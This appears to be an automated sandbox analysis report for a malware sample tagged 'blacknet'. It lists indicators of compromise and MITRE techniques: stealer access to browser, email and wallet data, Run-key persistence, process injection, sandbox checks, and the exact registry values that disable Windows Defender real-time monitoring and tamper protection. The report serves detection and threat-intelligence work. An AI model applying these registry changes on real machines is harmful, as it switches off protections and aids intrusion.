blacknet | 65fa93616cdb8c92a541dd2ad8468d6688e1b1f2606891b56db3e90fbfc9acbd

System Information Discovery

Processes:

Gicenihaefi.exekeygen-step-4.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation	Gicenihaefi.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation	keygen-step-4.exe

Loads dropped DLL 12 IoCs

Processes:

rundll32.exeInstall.tmprundll32.exetoolspab1.exey1.exeFFFE.execscjwia

pid	process
2380	rundll32.exe
3172	Install.tmp
5464	rundll32.exe
4284	toolspab1.exe
5244	y1.exe
5216	FFFE.exe
5216	FFFE.exe
5216	FFFE.exe
5216	FFFE.exe
5216	FFFE.exe
5216	FFFE.exe
2228	cscjwia

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

Processes:

2ED.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection	2ED.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet	2ED.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SubmitSamplesConsent = "0"	2ED.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	2ED.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	2ED.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	2ED.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	2ED.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\2ED.exe = "0"	2ED.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	2ED.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SpyNetReporting = "0"	2ED.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

gpooe.exeC80A.tmp.exe184D.exeUltra.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe"	gpooe.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	C80A.tmp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\waupdat3 = "C:\\Users\\Admin\\AppData\\Roaming\\waupdat3.exe"	C80A.tmp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\Chrome = "\"C:\\Users\\Admin\\AppData\\Local\\Chrome.exe\""	184D.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Internet Explorer\\Gashaexelisi.exe\""	Ultra.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

Processes:

md1_1eaf.exemd2_2efs.exejg6_6asg.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	md1_1eaf.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	md2_2efs.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	jg6_6asg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

74 ip-api.com
94 api.ipify.org
216 api.myip.com
217 api.myip.com
Drops file in System32 directory 1 IoCs

Processes:

svchost.exe

description ioc process

File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent EE8FE0D3466F15C8 svchost.exe

flow	ioc
74	ip-api.com
94	api.ipify.org
216	api.myip.com
217	api.myip.com

description	ioc	process
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent EE8FE0D3466F15C8	svchost.exe

Suspicious use of SetThreadContext 12 IoCs

Processes:

svchost.exeC4CC.tmp.exeC80A.tmp.exeAddInProcess32.exeAddInProcess32.exe1233697197.exe777730844.exe2ED.exe8AB.exe184D.execscjwia

description	pid	process	target process
PID 4020 set thread context of 1580	4020	svchost.exe	svchost.exe
PID 4908 set thread context of 5124	4908	C4CC.tmp.exe	C4CC.tmp.exe
PID 5044 set thread context of 5304	5044	C80A.tmp.exe	msiexec.exe
PID 5044 set thread context of 5720	5044	C80A.tmp.exe	msiexec.exe
PID 4632 set thread context of 4284	4632	AddInProcess32.exe	toolspab1.exe
PID 4780 set thread context of 6084	4780	AddInProcess32.exe	AddInProcess32.exe
PID 5684 set thread context of 3988	5684	1233697197.exe	AddInProcess32.exe
PID 2228 set thread context of 5424	2228	777730844.exe	AddInProcess32.exe
PID 5240 set thread context of 4412	5240	2ED.exe	2ED.exe
PID 2244 set thread context of 4540	2244	8AB.exe	8AB.exe
PID 5512 set thread context of 6020	5512	184D.exe	InstallUtil.exe
PID 5524 set thread context of 2228	5524	cscjwia	cscjwia

autoit_exe 2 IoCs

AutoIT scripts compiled to PE executables.

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\cc2u5qtp.vut\skipper.exe	autoit_exe
C:\Users\Admin\AppData\Local\Temp\cc2u5qtp.vut\skipper.exe	autoit_exe

Drops file in Program Files directory 15 IoCs

Processes:

Ultra.exeultramediaburner.tmpgoogle-game.exexiuhuali.exe

description	ioc	process
File created	C:\Program Files\Windows NT\RQYCSXYDDC\ultramediaburner.exe	Ultra.exe
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe	ultramediaburner.tmp
File created	C:\Program Files (x86)\UltraMediaBurner\is-CG6JJ.tmp	ultramediaburner.tmp
File created	C:\Program Files (x86)\Internet Explorer\Gashaexelisi.exe	Ultra.exe
File created	C:\Program Files\nvsmartmax.dll	google-game.exe
File created	C:\Program Files\install.dat	xiuhuali.exe
File created	C:\Program Files\Windows NT\RQYCSXYDDC\ultramediaburner.exe.config	Ultra.exe
File created	C:\Program Files (x86)\UltraMediaBurner\is-630AS.tmp	ultramediaburner.tmp
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File created	C:\Program Files (x86)\Internet Explorer\Gashaexelisi.exe.config	Ultra.exe
File created	C:\Program Files\install.dat	google-game.exe
File created	C:\Program Files\install.dll	xiuhuali.exe
File created	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File opened for modification	C:\Program Files\install.dll	google-game.exe
File created	C:\Program Files\libEGL.dll	xiuhuali.exe

Drops file in Windows directory 2 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdge.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid pid_target process target process

5664 2996 WerFault.exe MicrosoftEdgeCP.exe
2284 2360 WerFault.exe MicrosoftEdgeCP.exe

pid	pid_target	process	target process
5664	2996	WerFault.exe	MicrosoftEdgeCP.exe
2284	2360	WerFault.exe	MicrosoftEdgeCP.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

toolspab1.execscjwia

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspab1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspab1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspab1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	cscjwia
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	cscjwia
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	cscjwia

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

svchost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

5616 timeout.exe
752 timeout.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

3516 taskkill.exe

pid	process
5616	timeout.exe
752	timeout.exe

pid	process
3516	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

Processes:

MicrosoftEdgeCP.exebrowser_broker.exeMicrosoftEdge.exeexplorer.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	explorer.exe

Modifies data under HKEY_USERS 5 IoCs

Processes:

svchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7"	svchost.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exerundll32.exesvchost.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\MigrationTime = 1d24df8b702cd701	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 0100000069d4b0ed8905bbac33ae05b84200da64f92570bacd60e40c5eac93a5a2d5514ed035e35252813b03dd5abd483bdddff2b258232f584e1da3b4a9	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = e1c2ae89c73cd701	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active\{A8D8BB51-B623-4FD0-B911-7AC3ACD4CBE3} = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 04203e70c53cd701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage\ProcessingFlag = e03c1695c73cd701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGLockdown\Reported	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DOMStorage	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Rating Prompt Shown = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{74WP1CM3-506M-V62R-WR42-7MQP227Y2YLP}	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{20EP1MI0-142C-L17D-YD26-2GCP283P3KMT}\1 = "6408"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGLockdown\BlameModules	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites\Order = 0c0000000a000000000000000c0000000100000000000000	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\OneTimeCleanup = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Extensible Cache	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\EnablementState = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGLockdown	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGLockdown\00000000 = c1f13697c73cd701	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGLockdown\Reported\00000000 = "MicrosoftEdgeCP.exe\\wincorlib.DLL\\advapi32.dll\\USER32.dll\\clipc.dll\\SHELL32.dll\\WINHTTP.dll\\CRYPTBASE.dll\\msiso.dll\\Windows.UI.dll\\usermgrcli.dll\\msctf.dll\\mrmcorer.dll\\E"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{62FM2EJ3-714D-A09D-WM25-6QFJ226I1FER}\1 = "28"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 0100000000cb1d36c23db9a842b1abf355f2b5d4c05b62ad769bab2b5f68d4e4ad5d7cf6c9698d3e6981ef119a86f9ec5c9318146319ff0beb8369d7954f8b3370c76125e4cdfe26117674a284485f6a6417a5800179b055f10a56fc5d50	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI	MicrosoftEdge.exe
